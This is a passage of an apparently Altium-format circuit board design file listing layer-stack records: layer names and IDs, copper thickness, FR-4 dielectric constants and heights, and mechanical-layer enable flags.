Master|LAYER_V8_38LAYERID=16973849|LAYER_V8_38USEDBYPRIMS=FALSE|LAYER_V8_39ID={206DC379-9404-4C98-9A1A-8266C349DD4D}|LAYER_V8_39NAME=DRC Detail Markers|LAYER_V8_39LAYERID=16973850|LAYER_V8_39USEDBYPRIMS=FALSE|LAYER_V8_40ID={A259A2C4-CFE6-4916-B6BF-86782F7FBF0D}|LAYER_V8_40NAME=Mechanical 17|LAYER_V8_40LAYERID=16908305|LAYER_V8_40USEDBYPRIMS=FALSE|LAYER_V8_40MECHENABLED=FALSE|LAYER_V8_41ID={E2B36080-7BF6-43BD-B981-3003010A9609}|LAYER_V8_41NAME=Mechanical 18|LAYER_V8_41LAYERID=16908306|LAYER_V8_41USEDBYPRIMS=FALSE|LAYER_V8_41MECHENABLED=FALSE|LAYER_V8_42ID={81316F7E-F321-47C1-8971-42E883E9CB0E}|LAYER_V8_42NAME=Mechanical 19|LAYER_V8_42LAYERID=16908307|LAYER_V8_42USEDBYPRIMS=FALSE|LAYER_V8_42MECHENABLED=FALSE|LAYER_V8_43ID={14AAB5F6-7C80-4362-A21F-B9C1FDFDDB22}|LAYER_V8_43NAME=Mechanical 20|LAYER_V8_43LAYERID=16908308|LAYER_V8_43USEDBYPRIMS=FALSE|LAYER_V8_43MECHENABLED=FALSE|LAYER_V8_44ID={CBCFC311-5586-4364-A18D-90F11394123B}|LAYER_V8_44NAME=Mechanical 21|LAYER_V8_44LAYERID=16908309|LAYER_V8_44USEDBYPRIMS=FALSE|LAYER_V8_44MECHENABLED=FALSE|LAYER_V8_45ID={3AB1D3B0-DB36-4BB9-A00A-5F67A876CFE3}|LAYER_V8_45NAME=Mechanical 22|LAYER_V8_45LAYERID=16908310|LAYER_V8_45USEDBYPRIMS=FALSE|LAYER_V8_45MECHENABLED=FALSE|LAYER_V8_46ID={B81DDB01-F6EB-4079-B0E5-DAD27690619B}|LAYER_V8_46NAME=Mechanical 23|LAYER_V8_46LAYERID=16908311|LAYER_V8_46USEDBYPRIMS=FALSE|LAYER_V8_46MECHENABLED=FALSE|LAYER_V8_47ID={FCA2D964-A0F8-46D8-8124-E558605ABA9E}|LAYER_V8_47NAME=Mechanical 24|LAYER_V8_47LAYERID=16908312|LAYER_V8_47USEDBYPRIMS=FALSE|LAYER_V8_47MECHENABLED=FALSE|LAYER_V8_48ID={5E506687-FC3C-4DE6-B88B-A3AD6F4A7C70}|LAYER_V8_48NAME=Mechanical 25|LAYER_V8_48LAYERID=16908313|LAYER_V8_48USEDBYPRIMS=FALSE|LAYER_V8_48MECHENABLED=FALSE|LAYER_V8_49ID={7A2D3E4C-73EC-4B78-B93C-3A82F6444428}|LAYER_V8_49NAME=Mechanical 26|LAYER_V8_49LAYERID=16908314|LAYER_V8_49USEDBYPRIMS=FALSE|LAYER_V8_49MECHENABLED=FALSE|LAYER_V8_50ID={A8684D33-2E09-4325-A74B-B3C7708452A2}|LAYER_V8_50NAME=Mechanical 27|LAYER_V8_50LAYERID=16908315|LAYER_V8_50USEDBYPRIMS=FALSE|LAYER_V8_50MECHENABLED=FALSE|LAYER_V8_51ID={AEFE1341-A326-4186-AF5A-79C7FC4802D2}|LAYER_V8_51NAME=Mechanical 28|LAYER_V8_51LAYERID=16908316|LAYER_V8_51USEDBYPRIMS=FALSE|LAYER_V8_51MECHENABLED=FALSE|LAYER_V8_52ID={B3553CDF-2E18-443D-AE48-05FAB1548F17}|LAYER_V8_52NAME=Mechanical 29|LAYER_V8_52LAYERID=16908317|LAYER_V8_52USEDBYPRIMS=FALSE|LAYER_V8_52MECHENABLED=FALSE|LAYER_V8_53ID={FC5D7C46-5B81-44F2-8E7D-AE60AB3C000C}|LAYER_V8_53NAME=Mechanical 30|LAYER_V8_53LAYERID=16908318|LAYER_V8_53USEDBYPRIMS=FALSE|LAYER_V8_53MECHENABLED=FALSE|LAYER_V8_54ID={2BC814E1-7C2A-433B-9B66-3D6C1B322A8B}|LAYER_V8_54NAME=Mechanical 31|LAYER_V8_54LAYERID=16908319|LAYER_V8_54USEDBYPRIMS=FALSE|LAYER_V8_54MECHENABLED=FALSE|LAYER_V8_55ID={CE42239C-12F1-42E8-96E1-4549C21CFF9B}|LAYER_V8_55NAME=Mechanical 32|LAYER_V8_55LAYERID=16908320|LAYER_V8_55USEDBYPRIMS=FALSE|LAYER_V8_55MECHENABLED=FALSE|TOPTYPE=3|TOPCONST=3.500|TOPHEIGHT=0.4mil|TOPMATERIAL=Solder Resist|BOTTOMTYPE=3|BOTTOMCONST=3.500|BOTTOMHEIGHT=0.4mil|BOTTOMMATERIAL=Solder Resist|LAYERSTACKSTYLE=0|SHOWTOPDIELECTRIC=FALSE|SHOWBOTTOMDIELECTRIC=FALSE|LAYER1NAME=Top Layer|LAYER1PREV=0|LAYER1NEXT=32|LAYER1MECHENABLED=FALSE|LAYER1COPTHICK=1.4mil|LAYER1DIELTYPE=0|LAYER1DIELCONST=4.800|LAYER1DIELHEIGHT=12.6mil|LAYER1DIELMATERIAL=FR-4|LAYER2NAME=Mid-Layer 1|LAYER2PREV=0|LAYER2NEXT=0|LAYER2MECHENABLED=FALSE|LAYER2COPTHICK=1.4mil|LAYER2DIELTYPE=0|LAYER2DIELCONST=4.800|LAYER2DIELHEIGHT=12.6mil|LAYER2DIELMATERIAL=FR-4|LAYER3NAME=Mid-Layer 2|LAYER3PREV=0|LAYER3NEXT=0|LAYER3MECHENABLED=FALSE|LAYER3COPTHICK=1.4mil|LAYER3DIELTYPE=0|LAYER3DIELCONST=4.800|LAYER3DIELHEIGHT=12.6mil|LAYER3DIELMATERIAL=FR-4|LAYER4NAME=Mid-Layer 3|LAYER4PREV=0|LAYER4NEXT=0|LAYER4MECHENABLED=FALSE|LAYER4COPTHICK=1.4mil|LAYER4DIELTYPE=0|LAYER4DIELCONST=4.800|LAYER4DIELHEIGHT=12.6mil|LAYER4DIELMATERIAL=FR-4|LAYER5NAME=Mid-Layer 4|LAYER5PREV=0|LAYER5NEXT=0|LAYER5MECHENABLED=FALSE|LAYER5COPTHICK=1.4mil|LAYER5DIELTYPE=0|LAYER5DIELCONST=4.800|LAYER5DIELHEIGHT=12.6mil|LAYER5DIELMATERIAL=FR-4\r|RECORD=Board|LAYER6NAME=Mid-Layer 5|LAYER6PREV=0|LAYER6NEXT=0|LAYER6MECHENABLED=FALSE|LAYER6COPTHICK=1.4mil|LAYER6DIELTYPE=0|LAYER6DIELCONST=4.800|LAYER6DIELHEIGHT=12.6mil|LAYER6DIELMATERIAL=FR-4|LAYER7NAME=Mid-Layer 6|LAYER7PREV=0|LAYER7NEXT=0|LAYER7MECHENABLED=FALSE|LAYER7COPTHICK=1.4mil|LAYER7DIELTYPE=0|LAYER7DIELCONST=4.800|LAYER7DIELHEIGHT=12.6mil|LAYER7DIELMATERIAL=FR-4|LAYER8NAME=Mid-Layer 7|LAYER8PREV=0|LAYER8NEXT=0|LAYER8MECHENABLED=FALSE|LAYER8COPTHICK=1.4mil|LAYER8DIELTYPE=0|LAYER8DIELCONST=4.800|LAYER8DIELHEIGHT=12.6mil|LAYER8DIELMATERIAL=FR-4|LAYER9NAME=Mid-Layer 8|LAYER9PREV=0|LAYER9NEXT=0|LAYER9MECHENABLED=FALSE|LAYER9COPTHICK=1.4mil|LAYER9DIELTYPE=0|LAYER9DIELCONST=4.800|LAYER9DIELHEIGHT=12.6mil|LAYER9DIELMATERIAL=FR-4|LAYER10NAME=Mid-Layer 9|LAYER10PREV=0|LAYER10NEXT=0|LAYER10MECHENABLED=FALSE|LAYER10COPTHICK=1.4mil|LAYER10DIELTYPE=0|LAYER10DIELCONST=4.800|LAYER10DIELHEIGHT=12.6mil|LAYER10DIELMATERIAL=FR-4\r|RECORD=Board|LAYER11NAME=Mid-Layer 10|LAYER11PREV=0|LAYER11NEXT=0|LAYER11MECHENABLED=FALSE|LAYER11COPTHICK=1.4mil|LAYER11DIELTYPE=0|LAYER11DIELCONST=4.800|LAYER11DIELHEIGHT=12.6mil|LAYER11DIELMATERIAL=FR-4|LAYER12NAME=Mid-Layer 11|LAYER12PREV=0|LAYER12NEXT=0|LAYER12MECHENABLED=FALSE|LAYER12COPTHICK=1.4mil|LAYER12DIELTYPE=0|LAYER12DIELCONST=4.800|LAYER12DIELHEIGHT=12.6mil|LAYER12DIELMATERIAL=FR-4|LAYER13NAME=Mid-Layer 12|LAYER13PREV=0|LAYER13NEXT=0|LAYER13MECHENABLED=FALSE|LAYER13COPTHICK=1.4mil|LAYER13DIELTYPE=0|LAYER13DIELCONST=4.800|LAYER13DIELHEIGHT=12.6mil|LAYER13DIELMATERIAL=FR-4|LAYER14NAME=Mid-Layer 13|LAYER14PREV=0|LAYER14NEXT=0|LAYER14MECHENABLED=FALSE|LAYER14COPTHICK=1.4mil|LAYER14DIELTYPE=0|LAYER14DIELCONST=4.800|LAYER14DIELHEIGHT=12.6mil|LAYER14DIELMATERIAL=FR-4|LAYER15NAME=Mid-Layer 14|LAYER15PREV=0|LAYER15NEXT=0|LAYER15MECHENABLED=FALSE|LAYER15COPTHICK=1.4mil|LAYER15DIELTYPE=0|LAYER15DIELCONST=4.800|LAYER15DIELHEIGHT=12.6mil|LAYER15DIELMATERIAL=FR-4\r|RECORD=Board|LAYER16NAME=Mid-Layer 15|LAYER16PREV=0|LAYER16NEXT=0|LAYER16MECHENABLED=FALSE|LAYER16COPTHICK=1.4mil|LAYER16DIELTYPE=0|LAYER16DIELCONST=4.800|LAYER16DIELHEIGHT=12.6mil|LAYER16DIELMATERIAL=FR-4|LAYER17NAME=Mid-Layer 16|LAYER17PREV=0|LAYER17NEXT=0|LAYER17MECHENABLED=FALSE|LAYER17COPTHICK=1.4mil|LAYER17DIELTYPE=0|LAYER17DIELCONST=4.800|LAYER17DIELHEIGHT=12.6mil|LAYER17DIELMATERIAL=FR-4|LAYER18NAME=Mid-Layer 17|LAYER18PREV=0|LAYER18NEXT=0|LAYER18MECHENABLED=FALSE|LAYER18COPTHICK=1.4mil|LAYER18DIELTYPE=0|LAYER18DIELCONST=4.800|LAYER18DIELHEIGHT=12.6mil|LAYER18DIELMATERIAL=FR-4|LAYER19NAME=Mid-Layer 18|LAYER19PREV=0|LAYER19NEXT=0|LAYER19MECHENABLED=FALSE|LAYER19COPTHICK=1.4mil|LAYER19DIELTYPE=0|LAYER19DIELCONST=4.800|LAYER19DIELHEIGHT=12.6mil|LAYER19DIELMATERIAL=FR-4|LAYER20NAME=Mid-Layer 19|LAYER20PREV=0|LAYER20NEXT=0|LAYER20MECHENABLED=FALSE|LAYER20COPTHICK=1.4mil|LAYER20DIELTYPE=0|LAYER20DIELCONST=4.800|LAYER20DIELHEIGHT=12.6mil|LAYER20DIELMATERIAL=FR-4\r|RECORD=Board|LAYER21NAME=Mid-Layer 20|LAYER21PREV=0|LAYER21NEXT=0|LAYER21MECHENABLED=FALSE|LAYER21COPTHICK=1.4mil|LAYER21DIELTYPE=0|LAYER21DIELCONST=4.800|LAYER21DIELHEIGHT=12.6mil|LAYER21DIELMATERIAL=FR-4|LAYER22NAME=Mid-Layer 21|LAYER22PREV=0|LAYER22NEXT=0|LAYER22MECHENABLED=FALSE|LAYER22COPTHICK=1.4mil|LAYER22DIELTYPE=0|LAYER22DIELCONST=4.800|LAYER22DIELHEIGHT=12.6mil|LAYER22DIELMATERIAL=FR-4|LAYER23NAME=Mid-Layer 22|LAYER23PREV=0|LAYER23NEXT=0|LAYER23MECHENABLED=FALSE|LAYER23COPTHICK=1.4mil|LAYER23DIELTYPE=0|LAYER23DIELCONST=4.800|LAYER23DIELHEIGHT=12.6mil|LAYER23DIELMATERIAL=FR-4|LAYER24NAME=Mid-Layer 23|LAYER24PREV=0|LAYER24NEXT=0|LAYER24MECHENABLED=FALSE|LAYER24COPTHICK=1.4mil|LAYER24DIELTYPE=0|LAYER24DIELCONST=4.800|LAYER24DIELHEIGHT=12.6mil|LAYER24DIELMATERIAL=FR-4|LAYER25NAME=Mid-Layer 24|LAYER25PREV=0|LAYER25NEXT=0|LAYER25MECHENABLED=FALSE|LAYER25COPTHICK=1.4mil|LAYER25DIELTYPE=0|LAYER25DIELCONST=4.800|LAYER25DIELHEIGHT=12.6mil|LAYER25DIELMATERIAL=FR-4\r|RECORD=Board|LAYER26NAME=Mid-Layer 25|LAYER26PREV=0|LAYER26NEXT=0|LAYER26MECHENABLED=FALSE|LAYER26COPTHICK=1.4mil|LAYER26DIELTYPE=0|LAYER26DIELCONST=4.800|LAYER26DIELHEIGHT=12.6mil|LAYER26DIELMATERIAL=FR-4|LAYER27NAME=Mid-Layer 26|LAYER27PREV=0|LAYER27NEXT=0|LAYER27MECHENABLED=FALSE|LAYER27COPTHICK=1.4mil|LAYER27DIELTYPE=0|LAYER27DIELCONST=4.800|LAYER27DIELHEIGHT=12.6mil|LAYER27DIELMATERIAL=FR-4|LAYER28NAME=Mid-Layer 27|LAYER28PREV=0|LAYER28NEXT=0|LAYER28MECHENABLED=FALSE|LAYER28COPTHICK=1.4mil|LAYER28DIELTYPE=0|LAYER28DIELCONST=4.800|LAYER28DIELHEIGHT=12.6mil|LAYER28DIELMATERIAL=FR-4|LAYER29NAME=Mid-Layer 28|LAYER29PREV=0|LAYER29NEXT=0|LAYER29MECHENABLED=FALSE|LAYER29COPTHICK=1.4mil|LAYER29DIELTYPE=0|LAYER29DIELCONST=4.800|LAYER29DIELHEIGHT=12.6mil|LAYER29DIELMATERIAL=FR-4|LAYER30NAME=Mid-Layer 29|LAYER30PREV=0|LAYER30NEXT=0|LAYER30MECHENABLED=FALSE|LAYER30COPTHICK=1.4mil|LAYER30DIELTYPE=0|LAYER30DIELCONST=4.800|LAYER30DIELHEIGHT=12.6mil|LAYER30DIELMATERIAL=FR-4\r|RECORD=Board|LAYER31NAME=Mid-Layer 30|LAYER31PREV=0|LAYER31NEXT=0|LAYER31MECHENABLED=FALSE|LAYER31COPTHICK=1.4mil|LAYER31DIELTYPE=0|LAYER31DIELCONST=4.800|LAYER31DIELHEIGHT=12.6mil|LAYER31DIELMATERIAL=FR-4|LAYER32NAME=Bottom Layer|LAYER32PREV=1|LAYER32NEXT=0|LAYER32MECHENABLED=FALSE|LAYER32COPTHICK=1.4mil|LAYER32DIELTYPE=0|LAYER32DIELCONST=4.800|LAYER32DIELHEIGHT=12.6mil|LAYER32DIELMATERIAL=FR-4|LAYER33NAME=Top Overlay|LAYER33PREV=0|LAYER33NEXT=1|LAYER33MECHENABLED=FALSE|LAYER33COPTHICK=1.4mil|LAYER33DIELTYPE=0|LAYER33DIELCONST=4.800|LAYER33DIELHEIGHT=12.6mil|LAYER33DIELMATERIAL=FR-4|LAYER34NAME=Bottom Overlay|LAYER34PREV=32|LAYER34NEXT=0|LAYER34MECHENABLED=FALSE|LAYER34COPTHICK=1.4mil|LAYER34DIELTYPE=0|LAYER34DIELCONST=4.800|LAYER34DIELHEIGHT=12.6mil|LAYER34DIELMATERIAL=FR-4|LAYER35NAME=Top Paste|LAYER35PREV=0|LAYER35NEXT=1|LAYER35MECHENABLED=FALSE|LAYER35COPTHICK=1.4mil|LAYER35DIELTYPE=0|LAYER35DIELCONST=4.800|LAYER35DIELHEIGHT=12.6mil|LAYER35DIELMATERIAL=FR-4\r|RECORD=Board|LAYER36NAME=Bottom Paste|LAYER36PREV=32|LAYER36NEXT=0|LAYER36MECHENABLED=FALSE|LAYER36COPTHICK=1.4mil|LAYER36DIELTYPE=0|LAYER36DIELCONST=4.800|LAYER36DIELHEIGHT=12.6mil|LAYER36DIELMATERIAL=FR-4|LAYER37NAME=Top Solder|LAYER37PREV=0|LAYER37NEXT=1|LAYER37MECHENABLED=FALSE|LAYER37COPTHICK=1.4mil|LAYER37DIELTYPE=0|LAYER37DIELCONST=4.800|LAYER37DIELHEIGHT=12.6mil|LAYER37DIELMATERIAL=FR-4|LAYER38NAME=Bottom Solder|LAYER38PREV=32|LAYER38NEXT=0|LAYER38MECHENABLED=FALSE|LAYER38COPTHICK=1.4mil|LAYER38DIELTYPE=0|LAYER38DIELCONST=4.800|LAYER38DIELHEIGHT=12.6mil|LAYER38DIELMATERIAL=FR-4|LAYER39NAME=Internal Plane 1|LAYER39PREV=0|LAYER39NEXT=0|LAYER39MECHENABLED=FALSE|LAYER39COPTHICK=1.4mil|LAYER39DIELTYPE=0|LAYER39DIELCONST=4.800|LAYER39DIELHEIGHT=12.6mil|LAYER39DIELMATERIAL=FR-4|LAYER40NAME=Internal Plane 2|LAYER40PREV=0|LAYER40NEXT=0|LAYER40MECHENABLED=FALSE|LAYER40COPTHICK=1.4mil|LAYER40DIELTYPE=0|LAYER40DIELCONST=4.800|LAYER40DIELHEIGHT=12.6mil|LAYER40DIELMATERIAL=FR-4\r|RECORD=Board|LAYER41NAME=Internal Plane 3|LAYER41PREV=0|LAYER41NEXT=0|LAYER41MECHENABLED=FALSE|LAYER41COPTHICK=1.4mil|LAYER41DIELTYPE=0|LAYER41DIELCONST=4.800|LAYER41DIELHEIGHT=12.6mil|LAYER41DIELMATERIAL=FR-4|LAYER42NAME=Internal Plane 4|LAYER42PREV=0|LAYER42NEXT=0|LAYER42MECHENABLED=FALSE|LAYER42COPTHICK=1.4mil|LAYER42DIELTYPE=0|LAYER42DIELCONST=4.800|LAYER42DIELHEIGHT=12.6mil|LAYER42DIELMATERIAL=FR-4|LAYER43NAME=Internal Plane 5|LAYER43PREV=0|LAYER43NEXT=0|LAYER43MECHENABLED=FALSE|LAYER43COPTHICK=1.4mil|LAYER43DIELTYPE=0|LAYER43DIELCONST=4.800|LAYER43DIELHEIGHT=12.6mil|LAYER43DIELMATERIAL=FR-4|LAYER44NAME=Internal Plane 6|LAYER44PREV=0|LAYER44NEXT=0|LAYER44MECHENABLED=FALSE|LAYER44COPTHICK=1.4mil|LAYER44DIELTYPE=0|LAYER44DIELCONST=4.800|LAYER44DIELHEIGHT=12.6mil|LAYER44DIELMATERIAL=FR-4|LAYER45NAME=Internal Plane 7|LAYER45PREV=0|LAYER45NEXT=0|LAYER45MECHENABLED=FALSE|LAYER45COPTHICK=1.4mil|LAYER45DIELTYPE=0|LAYER45DIELCONST=4.800|LAYER45DIELHEIGHT=12.6mil|LAYER45DIELMATERIAL=FR-4\r|RECORD=Board|LAYER46NAME=Internal Plane 8|LAYER46PREV=0|LAYER46NEXT=0|LAYER46MECHENABLED=FALSE|LAYER46COPTHICK=1.4mil|LAYER46DIELTYPE=0|LAYER46DIELCONST=4.800|LAYER46DIELHEIGHT=12.6mil|LAYER46DIELMATERIAL=FR-4|LAYER47NAME=Internal Plane 9|LAYER47PREV=0|LAYER47NEXT=0|LAYER47MECHENABLED=FALSE|LAYER47COPTHICK=1.4mil|LAYER47DIELTYPE=0|LAYER47DIELCONST=4.800|LAYER47DIELHEIGHT=12.6mil|LAYER47DIELMATERIAL=FR-4|LAYER48NAME=Internal Plane 10|LAYER48PREV=0|LAYER48NEXT=0|LAYER48MECHENABLED=FALSE|LAYER48COPTHICK=1.4mil|LAYER48DIELTYPE=0|LAYER48DIELCONST=4.800|LAYER48DIELHEIGHT=12.6mil|LAYER48DIELMATERIAL=FR-4|LAYER49NAME=Internal Plane 11|LAYER49PREV=0|LAYER49NEXT=0|LAYER49MECHENABLED=FALSE|LAYER49COPTHICK=1.4mil|LAYER49DIELTYPE=0|LAYER49DIELCONST=4.800|LAYER49DIELHEIGHT=12.6mil|LAYER49DIELMATERIAL=FR-4|LAYER50NAME=Internal Plane 12|LAYER50PREV=0|LAYER50NEXT=0|LAYER50MECHENABLED=FALSE|LAYER50COPTHICK=1.4mil|LAYER50DIELTYPE=0|LAYER50DIELCONST=4.800|LAYER50DIELHEIGHT=12.6mil|LAYER50DIELMATERIAL=FR-4\r|RECORD=Board|LAYER51NAME=Internal Plane 13|LAYER51PREV=0|LAYER51NEXT=0|LAYER51MECHENABLED=FALSE|LAYER51COPTHICK=1.4mil|LAYER51DIELTYPE=0|LAYER51DIELCONST=4.800|LAYER51DIELHEIGHT=12.6mil|LAYER51DIELMATERIAL=FR-4|LAYER52NAME=Internal Plane 14|LAYER52PREV=0|LAYER52NEXT=0|LAYER52MECHENABLED=FALSE|LAYER52COPTHICK=1.4mil|LAYER52DIELTYPE=0|LAYER52DIELCONST=4.800|LAYER52DIELHEIGHT=12.6mil|LAYER52DIELMATERIAL=FR-4|LAYER53NAME=Internal Plane 15|LAYER53PREV=0|LAYER53NEXT=0|LAYER53MECHENABLED=FALSE|LAYER53COPTHICK=1.4mil|LAYER53DIELTYPE=0|LAYER53DIELCONST=4.800|LAYER53DIELHEIGHT=12.6mil|LAYER53DIELMATERIAL=FR-4|LAYER54NAME=Internal Plane 16|LAYER54PREV=0|LAYER54NEXT=0|LAYER54MECHENABLED=FALSE|LAYER54COPTHICK=1.4mil|LAYER54DIELTYPE=0|LAYER54DIELCONST=4.800|LAYER54DIELHEIGHT=12.6mil|LAYER54DIELMATERIAL=FR-4|LAYER55NAME=Drill Guide|LAYER55PREV=0|LAYER55NEXT=0|LAYER55MECHENABLED=FALSE|LAYER55COPTHICK=1.4mil|LAYER55DIELTYPE=0|LAYER55DIELCONST=4.800|LAYER55DIELHEIGHT=12.6mil|LAYER55DIELMATERIAL=FR-4\r|RECORD=Board|LAYER56NAME=Keep-Out Layer|LAYER56PREV=0|LAYER56NEXT=0|LAYER56MECHENABLED=FALSE|LAYER56COPTHICK=1.4mil|LAYER56DIELTYPE=0|LAYER56DIELCONST=4.800|LAYER56DIELHEIGHT=12.6mil|LAYER56DIELMATERIAL=FR-4|LAYER57NAME=Mechanical 1|LAYER57PREV=0|LAYER57NEXT=0|LAYER57MECHENABLED=TRUE|LAYER57COPTHICK=1.4mil|LAYER57DIELTYPE=0|LAYER57DIELCONST=4.800|LAYER57DIELHEIGHT=12.6mil|LAYER57DIELMATERIAL=FR-4|LAYER58NAME=Mechanical 2|LAYER58PREV=0|LAYER58NEXT=0|LAYER58MECHENABLED=FALSE|LAYER58COPTHICK=1.4mil|LAYER58DIELTYPE=0|LAYER58DIELCONST=4.800|LAYER58DIELHEIGHT=12.6mil|LAYER58DIELMATERIAL=FR-4|LAYER59NAME=Mechanical 3|LAYER59PREV=0|LAYER59NEXT=0|LAYER59MECHENABLED=FALSE|LAYER59COPTHICK=1.4mil|LAYER59DIELTYPE=0|LAYER59DIELCONST=4.800|LAYER59DIELHEIGHT=12.6mil|LAYER59DIELMATERIAL=FR-4|LAYER60NAME=Mechanical 4|LAYER60PREV=0|LAYER60NEXT=0|LAYER60MECHENABLED=FALSE|LAYER60COPTHICK=1.4mil|LAYER60DIELTYPE=0|LAYER60DIELCONST=4.800|LAYER60DIELHEIGHT=12.6mil|LAYER60DIELMATERIAL=FR-4\r|RECORD=Board|LAYER61NAME=Mechanical 5|LAYER61PREV=0|LAYER61NEXT=0|LAYER61MECHENABLED=FALSE|LAYER61COPTHICK=1.4mil|LAYER61DIELTYPE=0|LAYER61DIELCONST=4.800|LAYER61DIELHEIGHT=12.6mil|LAYER61DIELMATERIAL=FR-4|LAYER62NAME=Mechanical 6|LAYER62PREV=0|LAYER62NEXT=0|LAYER62MECHENABLED=FALSE|LAYER62COPTHICK=1.4mil|LAYER62DIELTYPE=0|LAYER62DIELCONST=4.800|LAYER62DIELHEIGHT=12.6mil|LAYER62DIELMATERIAL=FR-4|LAYER63NAME=Mechanical 7|LAYER63PREV=0|LAYER63NEXT=0|LAYER63MECHENABLED=FALSE|LAYER63COPTHICK=1.4mil|LAYER63DIELTYPE=0|LAYER63DIELCONST=4.800|LAYER63DIELHEIGHT=12.6mil|LAYER63DIELMATERIAL=FR-4|LAYER64NAME=Mechanical 8|LAYER64PREV=0|LAYER64NEXT=0|LAYER64MECHENABLED=FALSE|LAYER64COPTHICK=1.4mil|LAYER64DIELTYPE=0|LAYER64DIELCONST=4.800|LAYER64DIELHEIGHT=12.6mil|LAYER64DIELMATERIAL=FR-4|LAYER65NAME=Mechanical 9|LAYER65PREV=0|LAYER65NEXT=0|LAYER65MECHENABLED=FALSE|LAYER65COPTHICK=1.4mil|LAYER65DIELTYPE=0|LAYER65DIELCONST=4.800|LAYER65DIELHEIGHT=12.6mil|LAYER65DIELMATERIAL=FR-4\r|RECORD=Board|LAYER66NAME=Mechanical 10|LAYER66PREV=0|LAYER66NEXT=0|LAYER66MECHENABLED=FALSE|LAYER66COPTHICK=1.4mil|LAYER66DIELTYPE=0|LAYER66DIELCONST=4.800|LAYER66DIELHEIGHT=12.6mil|LAYER66DIELMATERIAL=FR-4|LAYER67NAME=Mechanical 11|LAYER67PREV=0|LAYER67NEXT=0|LAYER67MECHENABLED=FALSE|LAYER67COPTHICK=1.4mil|LAYER67DIELTYPE=0|LAYER67DIELCONST=4.800|LAYER67DIELHEIGHT=12.6mil|LAYER67DIELMATERIAL=FR-4|LAYER68NAME=Mechanical 12|LAYER68PREV=0|LAYER68NEXT=0|LAYER68MECHENABLED=FALSE|LAYER68COPTHICK=1.4mil|LAYER68DIELTYPE=0|LAYER68DIELCONST=4.800|LAYER68DIELHEIGHT=12.6mil|LAYER68DIELMATERIAL=FR-4|LAYER69NAME=Mechanical 13|LAYER69PREV=0|LAYER69NEXT=0|LAYER69MECHENABLED=FALSE|LAYER69COPTHICK=1.4mil|LAYER69DIELTYPE=0|LAYER69DIELCONST=4.800|LAYER69DIELHEIGHT=12.6mil|LAYER69DIELMATERIAL=FR-4|LAYER70NAME=Mechanical 14|LAYER70PREV=0|LAYER70NEXT=0|LAYER70MECHENABLED=FALSE|LAYER70COPTHICK=1.4mil|LAYER70DIELTYPE=0|LAYER70DIELCONST=4.800|LAYER70DIELHEIGHT=12.6mil|LAYER70DIELMATERIAL=FR-4\r|RECORD=Board|LAYER71NAME=Mechanical 15|LAYER71PREV=0|LAYER71NEXT=0|LAYER71MECHENABLED=TRUE|LAYER71COPTHICK=1.4mil|LAYER71DIELTYPE=0|LAYER71DIELCONST=4.800|LAYER71DIELHEIGHT=12.6mil|LAYER71DIELMATERIAL=FR-4|LAYER72NAME=Mechanical 16|LAYER72PREV=0|LAYER72NEXT=0|LAYER72MECHENABLED=FALSE|LAYER72COPTHICK=1.4mil|LAYER72DIELTYPE=0|LAYER72DIELCONST=4.800|LAYER72DIELHEIGHT=12.6mil|LAYER72DIELMATERIAL=FR-4|LAYER73NAME=Drill Drawing|LAYER73PREV=0|LAYER73NEXT=0|LAYER73MECHENABLED=FALSE|LAYER73COPTHICK=1.4mil|LAYER73DIELTYPE=0|LAYER73DIELCONST=4.800|LAYER73DIELHEIGHT=12.6mil|LAYER73DIELMATERIAL=FR-4|LAYER74NAME=Multi-Layer|LAYER74PREV=0|LAYER74NEXT=0|LAYER74MECHENABLED=FALSE|LAYER74COPTHICK=1.4mil|LAYER74DIELTYPE=0|LAYER74DIELCONST=4.800|LAYER74DIELHEIGHT=12.6mil|LAYER74DIELMATERIAL=FR-4|LAYER75NAME=Connections|LAYER75PREV=0|LAYER75NEXT=0|LAYER75MECHENABLED=FALSE|LAYER75COPTHICK=1.4mil|LAYER75DIELTYPE=0|LAYER75DIELCONST=4.800|LAYER75DIELHEIGHT=12.6mil|LAYER75DIELMATERIAL=FR-4\r|RECORD=Board|LAYER76NAME=Background|LAYER76PREV=0|LAYER76NEXT=0|LAYER76MECHENABLED=FALSE|LAYER76COPTHICK=1.4mil|LAYER76DIELTYPE=0|LAYER76DIELCONST=4.800|LAYER76DIELHEIGHT=12.6mil|LAYER76DIELMATERIAL=FR-4|LAYER77NAME=DRC Error Markers|LAYER77PREV=0|LAYER77NEXT=0|LAYER77MECHENABLED=FALSE|LAYER77COPTHICK=1.4mil|LAYER77DIELTYPE=0|LAYER77DIELCONST=4.800|LAYER77DIELHEIGHT=12.6mil|LAYER77DIELMATERIAL=FR-4|LAYER78NAME=Selections|LAYER78PREV=0|LAYER78NEXT=0|LAYER78MECHENABLED=FALSE|LAYER78COPTHICK=1.4mil|LAYER78DIELTYPE=0|LAYER78DIELCONST=4.800|LAYER78DIELHEIGHT=12.6mil|LAYER78DIELMATERIAL=FR-4|LAYER79NAME=Visible Grid 1|LAYER79PREV=0|LAYER79NEXT=0|LAYER79MECHENABLED=FALSE|LAYER79COPTHICK=1.4mil|LAYER79DIELTYPE=0|LAYER79DIELCONST=4.800|LAYER79DIELHEIGHT=12.6mil|LAYER79DIELMATERIAL=FR-4|LAYER80NAME=Visible Grid 2|LAYER80PREV=0|LAYER80NEXT=0|LAYER80MECHENABLED=FALSE|LAYER80COPTHICK=1.4mil|LAYER80DIELTYPE=0|LAYER80DIELCONST=4.800|LAYER80DIELHEIGHT=12.6mil|LAYER80DIELMATERIAL=FR-4\r|RECORD=Board|LAYER81NAME=Pad Holes|LAYER81PREV=0|LAYER81NEXT=0|LAYER81MECHENABLED=FALSE|LAYER81COPTHICK=1.4mil|LAYER81DIELTYPE=0|LAYER81DIELCONST=4.800|LAYER81DIELHEIGHT=12.6mil|LAYER81DIELMATERIAL=FR-4|LAYER82NAME=Via Holes|LAYER82PREV=0|LAYER82NEXT=0|LAYER82MECHENABLED=FALSE|LAYER82COPTHICK=1.4mil|LAYER82DIELTYPE=0|LAYER82DIELCONST=4.800|LAYER82DIELHEIGHT=12.6mil|LAYER82DIELMATERIAL=FR-4|LAYERV7_0LAYERID=16908305|LAYERV7_0NAME=Mechanical 17|LAYERV7_0PREV=16973824|LAYERV7_0NEXT=16973824|LAYERV7_0MECHENABLED=FALSE|LAYERV7_0COPTHICK=1.4mil|LAYERV7_0DIELTYPE=0|LAYERV7_0DIELCONST=4.800|LAYERV7_0DIELHEIGHT=12.6mil|LAYERV7_0DIELMATERIAL=FR-4|LAYERV7_1LAYERID=16908306|LAYERV7_1NAME=Mechanical 